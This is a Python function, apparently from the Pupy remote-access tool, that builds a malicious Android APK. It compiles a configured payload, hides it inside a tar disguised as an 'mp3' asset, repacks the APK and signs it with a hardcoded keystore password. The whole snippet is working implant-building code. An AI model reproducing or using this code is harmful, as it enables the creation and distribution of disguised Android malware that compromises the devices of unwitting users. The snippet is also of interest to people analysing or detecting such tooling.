def get_edit_apk(path, new_path, conf):
tempdir=tempfile.mkdtemp(prefix="tmp_pupy_")
try:
packed_payload=pack_py_payload(get_raw_conf(conf))
shutil.copy(path, new_path)
#extracting the python-for-android install tar from the apk
zf=zipfile.ZipFile(path,'r')
zf.extract("assets/private.mp3", tempdir)
zf.close()
with open(os.path.join(tempdir,"pp.py"),'w') as w:
w.write(packed_payload)
import py_compile
py_compile.compile(os.path.join(tempdir, "pp.py"), os.path.join(tempdir, "pp.pyo"))
print "[+] packaging the apk ... (can take 10-20 seconds)"
#updating the tar with the new config
updateTar(os.path.join(tempdir,"assets/private.mp3"), "service/pp.pyo", os.path.join(tempdir,"pp.pyo"))
#repacking the tar in the apk
with open(os.path.join(tempdir,"assets/private.mp3"), 'r') as t:
updateZip(new_path, "assets/private.mp3", t.read())
#signing the tar
try:
res=subprocess.check_output("jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore crypto/pupy-apk-release-key.keystore -storepass pupyp4ssword '%s' pupy_key"%new_path, shell=True)
except OSError as e:
if e.errno ==os.errno.ENOENT:
print "Please install jarsigner first."
sys.exit(1)
raise e
# -tsa http://timestamp.digicert.com
print(res)
finally:
#cleaning up
shutil.rmtree(tempdir, ignore_errors=True)
评论列表
文章目录